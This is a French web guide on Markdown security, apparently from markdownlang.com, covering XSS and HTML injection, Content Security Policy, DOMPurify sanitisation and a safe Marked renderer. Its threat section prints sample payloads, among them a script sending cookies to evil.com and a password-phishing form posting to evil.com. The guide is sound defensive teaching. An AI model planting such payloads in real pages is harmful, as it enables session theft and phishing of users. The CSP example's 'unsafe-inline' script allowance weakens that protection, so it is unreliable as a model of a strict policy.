Skip to content

Meilleures pratiques de sécurité Markdown

Bien que Markdown ressemble à du texte brut, une mauvaise gestion peut entraîner de graves vulnérabilités de sécurité. Ce guide vous montre comment gérer le contenu Markdown en toute sécurité.

Menaces de sécurité courantes

1. XSS (Cross-Site Scripting)

Markdown permet l'intégration HTML, ce qui peut être exploité pour injecter des scripts malveillants :

markdown
<!-- Dangereux : HTML non assaini -->
<script>
  // Voler les cookies
  fetch('https://evil.com/steal?data=' + document.cookie);
</script>

<img src="x" onerror="alert('XSS')">

<a href="javascript:alert('XSS')">Cliquez-moi</a>

2. Injection HTML

Même sans JavaScript, le HTML malveillant peut causer des dommages :

markdown
<!-- Attaque de phishing -->
<form action="https://evil.com/phish" method="POST">
  <input type="password" name="password" placeholder="Entrez le mot de passe">
  <button>Connexion</button>
</form>

Stratégies de défense

1. Content Security Policy (CSP)

Implémenter des en-têtes CSP stricts :

html
<meta http-equiv="Content-Security-Policy" 
      content="default-src 'self'; 
               script-src 'self' 'unsafe-inline' https://trusted-cdn.com; 
               style-src 'self' 'unsafe-inline'; 
               img-src 'self' data: https:;">

2. Assainissement HTML

Utiliser des bibliothèques d'assainissement dédiées :

DOMPurify (navigateur)

javascript
import DOMPurify from 'dompurify';
import marked from 'marked';

const dirty = marked.parse(userMarkdown);
const clean = DOMPurify.sanitize(dirty, {
  ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'a', 'ul', 'ol', 'li', 'code', 'pre'],
  ALLOWED_ATTR: ['href', 'title', 'class'],
  FORBID_TAGS: ['script', 'style', 'iframe', 'form'],
  FORBID_ATTR: ['onerror', 'onclick', 'onload']
});

document.getElementById('output').innerHTML = clean;

3. Configurer un parser Markdown sécurisé

Configuration sécurisée Marked

javascript
const marked = require('marked');

const renderer = {
  html(html) {
    // Bloquer complètement HTML
    return '';
  },
  link(href, title, text) {
    // Autoriser uniquement les protocoles sûrs
    const safeProtocols = ['http:', 'https:', 'mailto:'];
    try {
      const url = new URL(href);
      if (!safeProtocols.includes(url.protocol)) {
        return text;
      }
    } catch {
      return text;
    }
    
    return `<a href="${href}" title="${title || ''}" rel="noopener noreferrer" target="_blank">${text}</a>`;
  }
};

marked.use({ renderer });

Liste de contrôle de sécurité

Avant le déploiement

  • [ ] Activer Content Security Policy (CSP)
  • [ ] Implémenter l'assainissement HTML (DOMPurify/sanitize-html)
  • [ ] Désactiver ou restreindre le HTML brut
  • [ ] Valider toutes les URLs et liens
  • [ ] Implémenter la limitation de débit
  • [ ] Ajouter protection CSRF
  • [ ] Valider les téléchargements de fichiers
  • [ ] Implémenter authentification et autorisation
  • [ ] Définir les limites de longueur de contenu
  • [ ] Activer HTTPS
  • [ ] Configurer des en-têtes HTTP sécurisés
  • [ ] Implémenter la journalisation et la surveillance
  • [ ] Effectuer des audits de sécurité réguliers
  • [ ] Maintenir les dépendances à jour

Conclusion

La sécurité Markdown ne doit pas être négligée. En mettant en œuvre des mesures appropriées d'assainissement, de validation, d'authentification et de surveillance, vous pouvez gérer en toute sécurité le contenu Markdown généré par les utilisateurs et protéger les applications et les utilisateurs contre les attaques.

Ressources supplémentaires

Build by www.markdownlang.com